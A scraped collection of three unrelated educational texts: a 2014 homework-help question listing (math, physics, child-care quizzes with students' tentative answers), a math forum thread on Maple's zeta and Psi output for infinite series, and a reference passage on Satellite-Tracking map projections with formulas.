Liz uses 19 connecting cubes to make a model of house. The house model is in the shape of a rectangle and is one cube high. How many different ways could Liz make the model of the house?
Sunday, October 26, 2014 by Nikhil
calculus
A 6 foot tall man walks at a rate of 5 feet per second along one edge of a road that is 30 feet wide. On the other edge of the road is a light atop a pole 18 feet high. How fast is the length of the man's shadow increasing when he is 40 feet beyond the point directly ...
Sunday, October 26, 2014 by Bryce
Theories and issues in working with school-age chi
If relative care is not an option for a family, a live-in solution may be care by a A. teenager. B. peer. C. Nanny D. Neighbor C.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
People who understand the characteristics of children at various ages are more likely to develop activities and experiences for them that are A. within time constraints. B. easy to do. C. developmentally appropriate. D. educational. D.
Sunday, October 26, 2014 by Amanda
English composition
I'm writing a paper to explain a concept of the bevel Ella Minnow Pea. I've come up with a thesis statement and my teacher has approved it, but I'm just stuck as to what I'm writing about. The assignment instructions asks "How does Dunn legitimize his ...
Sunday, October 26, 2014 by Dylan
Theories and issues in working with school-age chi
The term distal supervision means A. supervision by a nonworking parent. B. a lack of supervision. C. self-supervision. D. supervision from a distance. Is this answer D.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
The traditional term latchkey children refers to A. children who know how to properly use house keys. B. children who are between the ages of six and twelve. C. the key that children carry to open their door latch. D. the ability to be left alone at home. D.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
Which of the following is most likely to be a result of a school-age child left unattended at home? A. Loss of friendships B. Obesity C. Psychological harm D. Inability to complete homework assignments C.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
Being able to balance one's checkbook is an example of a _______ skill. A. psychological B. physical fitness C. domestic D. social B.
Sunday, October 26, 2014 by Amanda
physics
a student leaves home and walks 100 m in a northerly direction. he then walks in a direction of 45 degree north of east for 50 m to reach school. calculate the displacement graphically. choose a scale to draw the diagram
Sunday, October 26, 2014 by sue
english
I got a question regarding my homework. The task is to find the mistakes in a given text but the last sentence confuses me so much that I lost the overview. I'll copy the sentence below and hope that someone can help me. "But to protect against children from labor ...
Sunday, October 26, 2014 by Leonie
Physics
A cannon ball is fired horizontally with velocity of 15m from the top of a cliff 90m high.after how many seconds will it hit the foot of the cliff(a)time (b)at what distance from the foot of the cliff will it strike.
Saturday, October 25, 2014 by Anonymous
phy111
A monkey in a perch 20 m high in a tree drops a coconut above the head of a zoo keeper as he runs with a speed 1.5 m/s beneath the tree actually intending to hit the toes of the zoo keeper, how early in seconds should the coconut be dropped by the monkey
Saturday, October 25, 2014 by hart
Calculus (math)
A conical water tank with vertex down has a radius of 12 feet at the top and is 23 feet high. If water flows into the tank at a rate of 20 {\rm ft}^3{\rm /min}, how fast is the depth of the water increasing when the water is 12 feet deep?
Saturday, October 25, 2014 by mariel
Theories and issues in working with school-age chi
Erik Erikson uses what mechanism to describe the stages in his psychosocial theory? A. Growth charts B. Problems C. Conflicts D. Levels
Saturday, October 25, 2014 by Amanda
Math
Jamal lives 8 blocks from school. Bethany lives 3 times as far from school as Jamal . Michael lives 4 times as far as Jamal and Bethany combined . Write a number sentence that compares how far from school Bethany lives to how far from school Michael lives. Q2/ if you multiply ...
Saturday, October 25, 2014 by Nnh
theory of interest
1.Two investments are made at the same time. The first consists of investing 1550 dollars at a nominal rate of interest of 7.9 percent convertible semiannually. The second consists of investing 1450 dollars at a nominal rate of interest of 7.9 percent convertible daily. How ...
Saturday, October 25, 2014 by ALBERT
Theories and issues in working with school-age chi
According to Maslow's hierarchy of needs, trying to earn respect, approval, and success are part of which level of the pyramid? A. Safety needs B. Survival needs C. Esteem needs D. Physiological needs C.
Friday, October 24, 2014 by Amanda
Theories and issues in working with school-age chi
Voters have been historically unwilling to underwrite a school-age child care system because A. recently immigrated families had more extended support and could take care of their children themselves. B. they believed that child care was the responsibility of families. C. they...
Friday, October 24, 2014 by Amanda
Theories and issues in working with school-age chi
_______ proposed that much of a child's learning comes from modeling the behavior of others. A. Howard Gardner B. Jean Piaget C. Albert Bandura D. Robert Havighurst B.
Friday, October 24, 2014 by Amanda
Theories and issues in working with school-age chi
To create effective and attractive programs for children, most activities should be A. focused on academic learning. B. self-selected. C. traditional games. D. similar to those experienced during the school day. A.
Friday, October 24, 2014 by Amanda
Physics
If you are at the top of a toboggan run that is 44.3 m high, how fast will you be going at the bottom, provided you can ignore friction between the sled and the track?
Friday, October 24, 2014 by Anonymous
math Help!!!!!!
What is the distance between Nicholas's school and the post office? Nicholas's school is in quadrant 1 and is on 3,2 Nicholas's post office is in quadrant 3 and is on -2,-2 A. 6.4 B. 5.2 C. 3.6 D. 3.0 Is the answer C? Thanks
Friday, October 24, 2014 by help!! me
Theories and issues in working with school-age chi
According to the National Center for Educational Statistics, which of the following is a false statement? A. Boys are more likely than girls to fail or drop out of school. B. When it comes to grades and homework, boys outperform girls in elementary, secondary, high school, ...
Friday, October 24, 2014 by Amanda
Math Trig
A kite flier wondered how high her kite was flying. She used a protractor to measure an angle of 40 degrees from level ground to the kite string. If she used a full 120-yard spool of string, how high, in feet, was the kite? (Disregard the string sag and the height of the ...
Friday, October 24, 2014 by Randy
Algebra
You have been hired by a cell phone company to create two rate plans for customers, one that benefits customers with high usage. The cell phone rates may compare usage of minutes or usage of text messaging. At 500 minutes or 200 text messages, both plans should be within $5 of... Friday, October 24, 2014 by Kat pyhsics A man drops a rock off the side of a cliff, and hears it hit the bottom 2.8 seconds later. If the average speed of sound is 335 m/s, how high is the cliff? I have been able to figure out this much, but I don't know how to solve the problem with the data that I have been ... Friday, October 24, 2014 by JJ English @ words : 1- curtail 2- devastate 3- digress 4- incentive 5- incorporate 6- indispensable 7- intermittent 8- rigor 9- squander 10-succumb Linda never had to work hard to make good grades in high school. But in college, where the ___(8)___ of course work were greater, she soon ... Thursday, October 23, 2014 by William Statics You have 1kg of aluminum (E=69GPa) to make a cylindrical tube with a high Euler buckling load. The tube must have a length L of 0.5m. You can either make a solid tube, or a thin walled tube with a wall thickness, t=0.5cm. The density of aluminum is 2700kg/m3. The tubes are pin... Thursday, October 23, 2014 by qwerty Physics. A toy car runs off the edge of a horizontal table that is 1.21 m high. The car lands 1.39 m away from the edge of the table How fast was the car moving across the table just before it fell? ____m/s MY WORK: h=1/2gt^2 1.21=1/2(9.8)t^2 1.21=4.9t^2 scuare root; .246 but that ... Thursday, October 23, 2014 by Rose Nicol Physics A ball player hits a home run, and the baseball just clears a wall 20.3 m high located 119.0 m from home plate. The ball is hit an an angle of 35° to the horizontal, and air resistance is negligible. Assume the ball is hit at a height of 1.0 m above the ground. (a) What is... Thursday, October 23, 2014 by sam math You are the financial planner for Johnson Controls. Assume last year’s profits were$760,000. The board of directors decided to forgo dividends to stockholders and retire high-interest outstanding bonds that were issued 5 years ago at a face value of $1,420,000. You have ... Thursday, October 23, 2014 by sara ap calc I have solved the problem but am not sure it it is right. I would appreciate if you would check to see if my answer is right. The height of the ball thrown upwards from the top of a 20 foot hill is given by h(t)= -16t^2+90t+20 ft (where t is measured in seconds). how high ... Thursday, October 23, 2014 by Anonymous Maths Question the slope of a curve y=f(x) is given by dy/dx= (x-1)(x-2)^2(x-3)^3(x-4)^4(x-5)^5 for what value or values of x does y have a local maximum/miniumum? justify your answer. i tried solving this question but couldn't figure out how to do it. i even asked my old maths school ... Thursday, October 23, 2014 by Khyati pre calc A coin is tossed upward from a balcolny 370 ft high with an initial velocity of 16 ft/sec. during what interval of time? will the coin be at a height of atleast 50 ft (h= -16t^2 +vot + h0) is the answer 0>= t<+5 Wednesday, October 22, 2014 by wally Physics Help A toy car in the figure below runs off the edge of a table that is h = 1.175 m high. The car lands d = 0.400 m from the base of the table .How long did it take the car to fall? How fast was the car going on the table? Wednesday, October 22, 2014 by Sarah math paul dad made a turkey potpie for dinner on wednesday. the family ate 4/8 of the pie. on Thursday after school paul ate 2/16 of the pie for a snack. what fraction of the pie remained. Wednesday, October 22, 2014 by Anonymous math expressions There are 89 students in a school band. The number of boys in the band is 5 more than twice the number of girls. What is the expression for the number of girls and an expression fornthe number of using the variables g to represent the girls. Wednesday, October 22, 2014 by london Physic A ball is thrown toward a cliff of height h with a speed of 28m/s and an angle of 60∘ above horizontal. It lands on the edge of the cliff 3.3s later. a) How high is the cliff? i got 26.7 m b) What was the maximum height of the ball? my answer here was 30 m C) What is the... Wednesday, October 22, 2014 by Please help me with the last question guidance Children who experience many authoritarian interactions with adults are more likely to A. suffer from anxiety and depression.B. have high self-esteem.C. be goal oriented. B. Wednesday, October 22, 2014 by Amanda LA - 2 questions!!? Which word in the following sentence is a reflexive pronoun? As Mark slid towards home plate, he collided with the catcher and hurt himself. toward he himself collided*** Suppose you are reading two novels about boys who are sent to boarding schools. One novel, about David, is... Wednesday, October 22, 2014 by SkatingDJ Trigonometry Round answer to two significant digits. A telephone pole 40 feet high is situated on an 13° (H) slope from the horizontal. The measure of angle CAB is 21°. Find the length of the guy wire AC. Wednesday, October 22, 2014 by Karen physics A swing sits 5 m above the ground when it is still. John lifts the swing and releases it. At its lowest point, its velocity is measured to be 5.53 m/s. How high above the ground did John lift the swing? Tuesday, October 21, 2014 by lisa Persuasive Essay (Please, help me!) Please, help me! I'm struggling to write my persuasive essay that must be completed by tonight. I don't know know whether that which I have written makes sense. I don't know what else to write, either! My essay is about why high school students should be exempt ... Tuesday, October 21, 2014 by Victoria physic A ball is thrown toward a cliff of height h with a speed of 28m/s and an angle of 60∘ above horizontal. It lands on the edge of the cliff 3.3s later. a) How high is the cliff? i got 26.7 m b) What was the maximum height of the ball? my answer here was 30 m C) What is the... Tuesday, October 21, 2014 by emily math Can't figure this one out. The oceans' tide levels vary based on the phases of the moon. Find the percent decrease in tide levels when high tide is 4.25 ft and low tide is 0.75 ft above sea level. Tuesday, October 21, 2014 by emma Chemistry 1. The temperature of two substances with the same mass increases by 20 degrees Celsius. Which absorbs the most energy, the substance with the higher or lower specific heat? Explain 2. The human body is approximately 60% water. Explain how this high percentage of water helps ... Tuesday, October 21, 2014 by Stephanie Chemistry 1. The temperature of two substances with the same mass increases by 20 degrees Celsius. Which absorbs the most energy, the substance with the higher or lower specific heat? Explain 2. The human body is approximately 60% water. Explain how this high percentage of water helps ... Tuesday, October 21, 2014 by Tiffany Physics While exploring the canopy of the rainforest in equatorial South America, Anastasia falls from a branch 40.0 meters high. Exactly 1.1 seconds later Joe falls from the same branch. How high above the ground is Joe when Anastasia splats into the mud below? Tuesday, October 21, 2014 by Adub physics A ball is moving horizontally at 9 m/s when it leaves the edge of a table. The table is 1.64 m high. How long does it take to hit the ground? Tuesday, October 21, 2014 by Anonymous physic A ball is thrown toward a cliff of height h with a speed of 28m/s and an angle of 60∘ above horizontal. It lands on the edge of the cliff 3.3s later. a) How high is the cliff? i got 26.7 m b) What was the maximum height of the ball? my answer here was 30 m C) What is the... Tuesday, October 21, 2014 by sara physic A ball is thrown toward a cliff of height h with a speed of 28m/s and an angle of 60∘ above horizontal. It lands on the edge of the cliff 3.3s later. a) How high is the cliff? i got -29.2 m but my answer is wrong b) What was the maximum height of the ball? im not sure ... Tuesday, October 21, 2014 by sara Physics 1. A body was dropped from a building 10-m high. Its kinetic energy before reaching the ground is 980 J. What is the mass of the body? 2. A 1.0-kg block slides down a rough inclined plane whose height is 1.0 m. At the bottom the block has a speed of 4.0 m/s. Is mechanical ... Tuesday, October 21, 2014 by Brianna Math11 bernhardt and julia are observing an eagals nest in a tree. Julia is 75 m from the tree, and sees it an angle of elevation of 42 degrees. A) How high up the tree is the nest? B) bernhardt is standing 30 m behind Julia. At what angle of elevation does he see the nest? Monday, October 20, 2014 by Priya Algebra Help? The school john goes to is selling tickets to the annual dance competition . On the first day of sales the school sold 2 senior citizen tickets and 13 student tickets for a total of$108. The school took in$144 on the second day selling 4 senior tickets and 14 student ... Monday, October 20, 2014 by Teagan S.S. 8. Under the leadership of Lucretia Mott and Elizabeth Cady Stanton, the high point of the Seneca Falls convention was the drafting of the Declaration of A. Sentiments. B. Women's Rights. C. Opinion. D. Human Rights. A? 9. Under America's second party system, the Whigs... Monday, October 20, 2014 by Sarah physics A centrifugal pump pumps 100 lbs/hr of water 100 ft high to the top nozzle of a distillation column. The pump impeller is 3 ft diameter? Monday, October 20, 2014 by Anonymous Teacherd aide 3. Which of the following techniques to arouse curiosity would work best with junior high students? A. Set up a curiosity corner. B. Use a "feelie" box. C. Use a teaser to introduce the topic. D. Set up a discovery learning center. I ... Monday, October 20, 2014 by Sam calculus A lamp post 3m high is 6m from a wall. A 2m man tall is walking directly from the post toward at 2.5m/s. How fast is his 1.5 from the wall Monday, October 20, 2014 by James Calculus An inverted conical tank is being filled with water, but it is discovered that it is also leaking water at the same time. The tank is 6 meters high and its diameter at the top is 4 meters. The water is being added to the tank at a constant rate. Some of this water is found to ... Sunday, October 19, 2014 by Ryan science What is the visual reaction when CuSO4 and NaCO3 is combined? I know what to do, I just forgot the info at school and I need this done by tomorrow. I would prefer to figure it out on my own but I don't have the chemicals at my house and I can't find anything online to ... Sunday, October 19, 2014 by Anonymous Reading Read the paragraph below . I'll show them that I can write well , "ling thought. Back in china , she had gotten the best grades in English class . But ever since her family had moved to Florida, her reports had been coming back all marked up . Ling asked her teacher ... Saturday, October 18, 2014 by Nin Persuasive Essay Will someone help me organize my persuasive essay? I've decided to write about the FITNESSGRAM and why high shcool students who have taken the required courses of physical education should be exempt from it. Saturday, October 18, 2014 by Victoria Business What is cultural diversity? Why do managers need cultural diversity? Is cultural diversity present in your organization (work, school, church, etc.)? How? Saturday, October 18, 2014 by Denise Math A man is 1.9m tall and he stands 2.4m from the lampost , which is 3.2m high. Find the lenght of the man's shadow. Saturday, October 18, 2014 by shania Physics A marble rolls off a lab table that is 0.92 m high. It rolls off the table with a velocity of 1.66 m/s. How far from the base of the table must the chip be placed so that the marble will hit the chip? Friday, October 17, 2014 by Sam physics During a baseball game, a batter hits a high pop-up. If the ball remains in the air for 6.65 s, how high does it rise? The acceleration of gravity is 9.8 m/s 2 . Answer in units of m CAN ANYONE HELP PLEASE ??????!!! Friday, October 17, 2014 by arturo bailon Physics (a) How high a hill can a car coast up (engine disengaged) if friction is negligible and its initial speed is 96.0 km/h? (b) If, in actuality, a 750 kg car with an initial speed of 96.0 km/h is observed to coast up a hill to a height 18.0 m above its starting point, how much ... Friday, October 17, 2014 by Devin social studies 1. Which of the following was not listed as a religious denomination that was present in royal Georgia? • Puritans • Baptists • Catholics **** • Lutherans 2. Which of the following was discussed as a reason that education was limited in royal Georgia? •... Friday, October 17, 2014 by kathy berry social studies 1. which of the following was not listed as a religious denomination that was present in royal georgia? puritans baptists catholics***** lutherans 2. which of the following was discussed as a reason that education was limited in royal Georgia? the school buildings were old ... Friday, October 17, 2014 by kathy berry 7th grade math Not sure how to solve this: Suppose your school is selling magazine subscriptions. Each subscription cost$20. the company pays the school half of the total sales in dollars. The school must also pay a one-time fee of $18. What is the fewest number of subscriptions that can be... Friday, October 17, 2014 by Alexis physics A bow with a spring constant of 398 N/m has an arrow placed in it and pulled back a distance of 0.6 m. If the arrow is shot straight up in the air how high will it go? Assume the mass of the arrow is 0.16 Kg. Thursday, October 16, 2014 by confused Math Susan has a balance of 110 dollars in her school lunch account and she spends 6 dollars per day for lunch. Her sister Evelyn has$83 in her account and she spends 4 dollar per day for lunch. Write and solve an inequality that shows in how many days will Susans lunch account ...
Thursday, October 16, 2014 by M
Statistics
The late English psychologist Cyril Burt was known for his studies of the IQ scores of identical twins who were raised apart. The high correlation between the IQs of separated twins in Burt's studies pointed to heredity as a major factor in IQ. (Correlation measures how ...
Thursday, October 16, 2014 by Huang
Not sure how to solve this: Suppose your school is selling magazine subscriptions. Each subscription cost $20. the company pays the school half of the total sales in dollars. The school must also pay a one-time fee of$18. What is the fewest number of subscriptions that can be...
Thursday, October 16, 2014 by Alexis
physics
A diver leaves the end of a 4.0-m-high diving board and strikes the water 1.3 s later, 3.0 m beyond the end of the board. Considering the diver as a particle, determine:
Wednesday, October 15, 2014 by Anonymous
Algebra 2
write an equation to solve each problem There is only one freshman in the cast of the high school musical. There are 6 sophomore and 11 juniors. One third of the cast are seniors. How may seniors are in the musical? *Please show me the work on how to do it
Wednesday, October 15, 2014 by Dolly
Math
For middle school pizzaz worksheet number 66, moving words.What's the answer? I need the answer, like, ASAP.
Wednesday, October 15, 2014 by Terra
A circular swimming pool has a diameter of 16 m, the sides are 3 m high, and the depth of the water is 2.5 m. How much work (in Joules) is required to pump all of the water over the side? (The acceleration due to gravity is 9.8 m/s 2 and the density of water is 1000 kg/m 3 .) ...
Wednesday, October 15, 2014 by Sarah with an 'H'
Physics/science
A stuntman drives a motorcycle off a 350 m cliff going 70 mph. The angle of elevation of the cliff is 21 degree. He is hoping to make it across a 261 m wide river and land on a ledge 82 m high. Does he make it? HELP ME PLSSSSSSS!!!!!
Wednesday, October 15, 2014 by Anonymous
Science
A stuntman drives a motorcycle off a 350 m cliff going 70 mph. The angle of elevation of the cliff is 21 degree. He is hoping to make it across a 261 m wide river and land on a ledge 82 m high. Does he make it?
Wednesday, October 15, 2014 by Anonymous
program planning
A program which has an adult centered curriculum all of the following could decide what activities the children will take part in, except which one? A. ParentsB. TeachersC. ChildrenD. Member's of the school board My answer is C
Wednesday, October 15, 2014 by Amanda
program planning
The term used to describe the educational portion of the program is A. school.B. curriculum.C. activities.D. lessons. My Answer is B
Wednesday, October 15, 2014 by Amanda
math
suppose 8 out of every 20 students are absent from school less than 5 days a year. Predict how many students would be absent from school less than 5 days a year out of 40,000 students.
Tuesday, October 14, 2014 by makaila
Linear Programming
A Company wishes to assign six of its workers to six different jobs (one worker to each job and vice versa). The rating of each worker with respect to each job on a scale of 0 to 10 (10 being a high rating) is given by yhe following table: Job 1 Job 2 Job 3 Job 4 Job 5 Job 6 ...
Tuesday, October 14, 2014 by Abi
math school g
salman purchased 8 wood panels for rupees 1500 each for transporting them to his shop he had spend rupees 800 he then gave the panels a veneer wich cost him rupees 8000 he sold 4 panels for rupees 3200 each calculate his total profit or loss %
Tuesday, October 14, 2014 by cbse 8th
Physics
Sam, whose mass is 73.0kg , takes off down a 50.0m high, 12.0∘ slope on his jet-powered skis. The skis have a thrust of 210N . Sam's speed at the bottom is 45.0m/s . What is the coefficient of kinetic friction of his skis on the snow?
Tuesday, October 14, 2014 by jrow
math
there are 40 students at Bali high who plays stringed instruments. of these, 1/4 play viola, 1/5 play cello, and the rest play violin. how many students play violin?
Monday, October 13, 2014 by Addison
statistics
Employees at Evergreen Manufacturing company have annual salaries ranging from a low \$12,500 to a high of 92,000. Assuming that you want to construct a frequency table with eight classes, find the upper and lower limits of the first class. How do I work the problem? Please?
Monday, October 13, 2014 by Charles Winslow
Members
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# Math Help - Infinite Series in Maple
1. ## Infinite Series in Maple
I have been doing infinite series in Calc. We have been learning all the tests for convergence and divergence but not really knowing what the sum is. Our professor said that there is no real trick in finding the sum unless its a geometric series.
So I went on Maple and put in some series that I know converged.
sry i dont really know latex
sum(1/n^3, n = 1 .. infinity)
for that particular one i got the 3*zeta. In the past I also got (I dont remember the equations) answers with Psi, psi, and even imaginary numbers. (I think the imaginary was an approximation though.
So i have two questions. What do Psi and zeta mean in mathematical terms? I looked up Psi on wikipedia, but they just defined it using the integral, series, and some other ways. They didn't actually tell me what it was used for.
My other question is why do they appear in my summation answer? I especially dont understand why a (i) would appear in a decimal approximation of a summation.
2. Originally Posted by redier
I have been doing infinite series in Calc. We have been learning all the tests for convergence and divergence but not really knowing what the sum is. Our professor said that there is no real trick in finding the sum unless its a geometric series.
So I went on Maple and put in some series that I know converged.
sry i dont really know latex
sum(1/n^3, n = 1 .. infinity)
for that particular one i got the 3*zeta. In the past I also got (I dont remember the equations) answers with Psi, psi, and even imaginary numbers. (I think the imaginary was an approximation though.
So i have two questions. What do Psi and zeta mean in mathematical terms? I looked up Psi on wikipedia, but they just defined it using the integral, series, and some other ways. They didn't actually tell me what it was used for.
My other question is why do they appear in my summation answer? I especially dont understand why a (i) would appear in a decimal approximation of a summation.
Since the reals are closed under the operations of addition and multiplication
$\bold{i}$ is not going to appear as the sum of a series using just these
operations.
Can you tell us which series gave a complex sum?
RonL
3. Originally Posted by redier
I have been doing infinite series in Calc. We have been learning all the tests for convergence and divergence but not really knowing what the sum is. Our professor said that there is no real trick in finding the sum unless its a geometric series.
So I went on Maple and put in some series that I know converged.
sry i dont really know latex
sum(1/n^3, n = 1 .. infinity)
for that particular one i got the 3*zeta.
Its likely what it gave was:
$
\zeta(3)=\sum_1^{\infty} 1/n^3
$
as this is a special case of the Riemann zeta function:
$
\zeta(z)=\sum_1^{\infty} 1/n^z
$
You can find out more about the zeta function here, and in numerous popular
RonL
4. this equation gave me a whole gamut of greek sybmols and imaginary numbers
$\sum_{n=1}^{\infty} \frac{1}{n^3+1}$
the answer i got in maple was
-1/3+1/3*Psi(1/2+1/2*I*sqrt(3))-1/6*I*Pi*tanh(1/2*Pi*sqrt(3))+1/6*sqrt(3)*Pi*tanh(1/2*Pi*sqrt(3))+1/3*gamma
the answer is pretty long, but i suppose that most of you have some sort of symbolic math program that you can use to find this. The (I) is in the second and third terms. When I approximate the answer to decimal the imaginary part of the complex number is only .00003(I). Still you shouldnt get an imaginary number.
I also noticed that when i find the sum of the first 999 terms i get a huge fraction without greek symbols of (I), but when I add the first 1000 terms ( just one more term mind you) i get an answer with greek symbols and (i). when i list the first 1000 terms i dont get any greek symbols or imaginary numbers. could it just be a weird maple thing?
5. Originally Posted by redier
this equation gave me a whole gamut of greek sybmols and imaginary numbers
$\sum_{n=1}^{\infty} \frac{1}{n^3+1}$
the answer i got in maple was
-1/3+1/3*Psi(1/2+1/2*I*sqrt(3))-1/6*I*Pi*tanh(1/2*Pi*sqrt(3))+1/6*sqrt(3)*Pi*tanh(1/2*Pi*sqrt(3))+1/3*gamma
the answer is pretty long, but i suppose that most of you have some sort of symbolic math program that you can use to find this. The (I) is in the second and third terms. When I approximate the answer to decimal the imaginary part of the complex number is only .00003(I). Still you shouldnt get an imaginary number.
I also noticed that when i find the sum of the first 999 terms i get a huge fraction without greek symbols of (I), but when I add the first 1000 terms ( just one more term mind you) i get an answer with greek symbols and (i). when i list the first 1000 terms i dont get any greek symbols or imaginary numbers. could it just be a weird maple thing?
I guess that the imaginaries actualy cancel out (they must do if M.
is right as the sum must be real).
RonL
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28. Satellite-Tracking projections
# SATELLITE-TRACKING PROJECTIONS #
## SUMMARY #
• All groundtracks for satellites orbiting the Earth with the same orbital parameters are shown as straight lines on the map. Cylindrical or conical form available.
• Neither conformal nor equal-area. All meridians are equally spaced straight lines, parallel on cylindrical form and
• converging to a common point on conical form. All parallels are straight and parallel on cylindrical form and are concentric circular arcs on conical form. Parallels are unequally spaced.
• Conformality occurs along two chosen parallels. Scale is correct along one of these parallels on the conical form and along both on the cylindrical form.
• Developed 1977 by Snyder.
## HISTORY, FEATURES, AND USAGE #
The Landsat mapping system which inspired the development of the Space Oblique Mercator (SOM) projection also inspired the development of a simpler type of projection with a different purpose. While the SOM is used for low-distortion mapping of the strips scanned by the satellite, the Satellite-Tracking projections are designed solely to show the groundtracks for these or other satellites as straight lines, thus facilitating their plotting on a map. As a result, the other features of such maps are minimal, although they may be designed to reduce overall distortion in particular regions.
The writer developed the formulas in 1977 after essentially completing the mathematical development of the formulas for the SOM. The formulas for the Satellite-Tracking projections, with derivations, were published later (Snyder, 1981a). Arnold (1984) further analyzed the distortion. These formulas are confined to circular orbits and the spherical Earth. Because of the small-scale maps resulting, the ellipsoidal forms are hardly justified.
Charts of groundtracks have to date continued to employ the Lambert Conformal Conic projection, on which the groundtracks are slightly curved. The writer is not aware of any use of the new projection, except that a Chinese map of about 1982 claims this feature.
The projections were developed in two basic forms, the cylindrical and the conic, with variations of features within the latter category. The cylindrical form (fig. 48) has straight parallel equidistant meridians and straight parallels of latitude which are perpendicular to the meridians. The parallels of latitude are increasingly spaced away from the Equator, and for Landsat orbits the spacing changes more rapidly than it does on the Mercator projection. The Equator or two parallels of latitude equidistant from the Equator may be made standard, without shape or scale distortion, as on several other cylindrical projections.
The groundtracks for the various orbits are plotted on the cylindrical form as diagonal equidistant straight lines. The descending orbital groundtracks (north to south) are parallel to each other, and the ascending groundtracks (south to north) are parallel to each other but with a direction in mirror image to that of the descending lines. The ascending and descending groundtracks meet at the northern and southern tracking limits, lats. 80.9° N. and S. for Landsat 1, 2, and 3. The map projection does not extend closer to the poles, although the mapmaker can arbitrarily extend the map using any convenient projection. The extension does not affect the purpose of the projection.
The groundtracks are not shown at constant scale, just as the straight great-circle paths on the Gnomonic and straight rhumb lines on the Mercator projection are not at constant scale. The complete tracks appear to be a sequence of zig-zag lines, although for Landsat normally only the descending (daylight) groundtracks should be shown to reduce confusion, since interest is normally confined to them.
While the cylindrical form of the Satellite-Tracking projections is of more interest if much of the world is to be shown, the conic form applies to most continents and countries, just as do the usual cylindrical and conic projections. On each conic Satellite-Tracking projection, the meridians are equally spaced straight lines converging at a common point, and the parallels are unequally spaced circular arcs centered on the same point. There are three types of distortion patterns available with the conic form:
1. For the normal map (fig. 49) of a continent or country, there can be conformality or no shape distortion along two chosen parallels, but correct scale at only one of them. The groundtracks break at the closest tracking limit, but the map cannot be extended to the other tracking limit in many cases, since it extends infinitely before reaching that latitude.
2. If one of the parallels with conformality is made a tracking limit, the groundtracks do not break at this tracking limit, since there can be no distortion there (fig. 50).
3. If both parallels with conformality are made the same, the projection has just one standard parallel. If this parallel is made the tracking limit, the conic projection becomes the closest approximation to an azimuthal projection (fig. 51). For Landsat orbits, the cone constant of such a limiting projection is about 0.96, so the developed cone is about 4 percent less than a full circle, and the projection somewhat resembles a polar Gnomonic projection. With orbits of lower inclination, the approach to azimuthal becomes less.
For each of the conics, the straight groundtracks are equidistant, they have constant inclinations to each meridian being crossed at a given latitude on a given map, and they are not at constant scale. They are also all tangent to a circle slightly smaller than the latitude circle for the tracking limit in case 1 above, and tangent to the tracking limit itself in cases 2 and 3. As in the case of the cylindrical form, any extension of the map from the tracking limit to a pole is cosmetic and arbitrary, since the groundtracks do not pass through this region.
## FORMULAS FOR THE SPHERE #
Forward formulas (see p. 360 for numerical examples): For the Cylindrical Satellite-Tracking projection, $R, i, P_2, P_1, \lambda_0, \phi_1, \phi,$ and $\lambda$ must be given, where \begin{align} R\quad =&\;\text{radius of the globe at the scale of the map.} \cr i\quad =&\;\text{angle of inclination between the plane of the Earth's Equator and the}\cr &\quad\text{plane of the satellite orbit, measured counterclockwise from the Equator} \cr &\quad\text{to the orbital plane at the ascending node (99.092° for Landsat l, 2, 3;} \cr &\quad\text{98.20° for Landsat 4, 5).} \cr P_2\quad=&\;\text{time required for revolution of the satellite (103.267 min for Landsat 1,} \cr &\quad\text{2, 3; 98.884 min. for Landsat 4, 5).} \cr P_1\quad=&\;\text{length of Earth's rotation with respect to the precessed ascending node.} \cr &\quad\text{For Landsat, the satellite orbit is Sun-synchronous; that is, it is always}\cr &\quad\text{the same with respect to the Sun, equating P_1 to the solar day (1,440} \cr &\quad\text{min). The ascending node is the point on the satellite orbit at which the}\cr &\quad\text{satellite crosses the Earth's equatorial plane in a northerly direction.}\cr \lambda_0=&\;\text{central meridian.}\cr \phi_1=&\;\text{standard parallel (N. and S.).}\cr (\phi,\lambda)\,=&\;\text{geodetic latitude and longitude of point to be plotted on map.} \end{align} $$F'_1 = [(P_2/P_1)\cos^2\phi_1-\cos i]/(\cos^2\phi_1-\cos^2 i)^{1/2} \tag{ 28-1 }$$ $$F' = [(P_2/P_1)\cos^2\phi-\cos i]/(\cos^2\phi-\cos^2 i)^{1/2} \tag{ 28-1a }$$ $$\lambda' = -\arcsin(\sin\phi/\sin i) \tag{ 28-2 }$$ $$\lambda_t = \arctan(\tan\lambda'\cos i) \tag{ 28-3 }$$ $$L = \lambda_t - (P_2/P_1)\lambda' \tag{ 28-4 }$$ $$x = R(\lambda-\lambda_0)\cos\phi_1 \tag{ 28-5 }$$ $$y = R L\cos\phi_1/F'_1 \tag{ 28-6 }$$ $$k = \cos\phi_1/\cos\phi \tag{ 28-7 }$$ $$h = k F'/F'_1 \tag{ 28-8 }$$ Geometrically, $F’$ is the tangent of the angle on the globe between the groundtrack and the meridian at latitude $\phi$, and $F’_1$ is the tangent of this angle both on the globe and on the map at latitude $\phi_1$. Scale factors $h$ and $k$ apply along the meridian and parallel, respectively. If the latitude is closer to either pole than the corresponding tracking limit, equation (28-2) cannot be solved, and the point cannot be mapped using these formulas. The X axis lies along the Equator, x increasing easterly, and the Y axis lies along the central meridian, y increasing northerly. If $(\lambda-\lambda_0)$ lies outside the range $\pm180°$, 360° should be added or subtracted so it will fall inside the range.
